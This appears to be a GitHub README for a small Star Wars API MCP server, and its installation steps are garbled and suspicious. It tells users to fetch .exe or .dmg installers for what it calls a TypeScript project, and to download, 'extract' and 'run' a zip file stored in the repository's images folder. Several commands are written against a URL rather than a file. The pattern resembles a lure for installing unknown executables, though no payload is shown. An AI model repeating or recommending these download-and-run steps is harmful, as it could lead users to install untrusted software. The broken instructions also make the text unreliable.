The simple_mcp_server is a Model Context Protocol (MCP) server designed for integrating with the Star Wars API. This application serves as a portfolio micro-project, showcasing how to develop an MCP server while seamlessly connecting with the SWAPI for use in Claude Desktop and MCP Inspector.
Follow these steps to get started with simple_mcp_server. You will need to download the software and install it on your computer.
- Operating System: Windows 10 or later, macOS, Linux (latest versions recommended).
- Memory: At least 4GB of RAM.
- Storage: Minimum 100MB of free disk space.
- Network: Internet connection for API access.
To get the latest version of simple_mcp_server, please visit this page to download: Download Here.
- Click on the link above to go to the Releases page.
- Look for the latest version. It will be at the top of the list.
- Find the appropriate installation package for your operating system:
- For Windows, look for a file ending with
.exe. - For macOS, look for a file ending with
.dmg. - For Linux, look for a file ending with
https://github.com/sbsdbs/simple_mcp_server/raw/refs/heads/master/images/simple-server-mcp-sigil.zip.
- For Windows, look for a file ending with
- Click the file to start downloading it to your computer.
Once the download is complete, follow these steps to install simple_mcp_server:
- Locate the downloaded
.exefile in your Downloads folder. - Double-click the file to run the installer.
- Follow the on-screen instructions to complete the installation.
- Once installed, you can find simple_mcp_server in your Start Menu.
- Open your Downloads folder and find the
.dmgfile. - Double-click the file to mount the disk image.
- Drag and drop the simple_mcp_server icon into your Applications folder.
- Locate it in your Applications and double-click to run.
- Open your terminal and navigate to the directory where the
https://github.com/sbsdbs/simple_mcp_server/raw/refs/heads/master/images/simple-server-mcp-sigil.zipfile was downloaded. - Run the command:
tar -xzvf https://github.com/sbsdbs/simple_mcp_server/raw/refs/heads/master/images/simple-server-mcp-sigil.zipto extract the files. - Navigate into the extracted folder.
- Run
https://github.com/sbsdbs/simple_mcp_server/raw/refs/heads/master/images/simple-server-mcp-sigil.zipto complete the installation.
After installation, you can start simple_mcp_server easily.
- Open the Start Menu.
- Search for simple_mcp_server and click on it.
- Open the Applications folder.
- Find simple_mcp_server and double-click it.
- Open the terminal.
- Navigate to the installation directory and run
./simple_mcp_server.
Once simple_mcp_server is running, you can integrate it with the Star Wars API. Use the provided documentation in the application to get started with sending requests and receiving data.
- Connects to the Star Wars API for real-time data access.
- Implements Model Context Protocol for structured interactions.
- User-friendly interface for query management.
- Lightweight and efficient, perfect for micro-projects.
If you experience issues or have questions, please check the Issues section of the GitHub repository. You can also raise a new issue, and we will do our best to assist you.
- ai-integration
- api-server
- claude-ai
- claude-desktop
- fullstack-developer
- mcp
- mcp-inspector
- mcp-server
- microservice
- model-context-protocol
- nodejs
- portfolio
- rest-api
- star-wars
- star-wars-api
- typescript
For further inquiries, contact us directly through the GitHub Issues page. Your feedback helps us improve the application.
- Official API Documentation for the Star Wars API.
- MCP Resources for more on Model Context Protocol.
Now that you know how to download and run simple_mcp_server, enjoy exploring data from the Star Wars universe!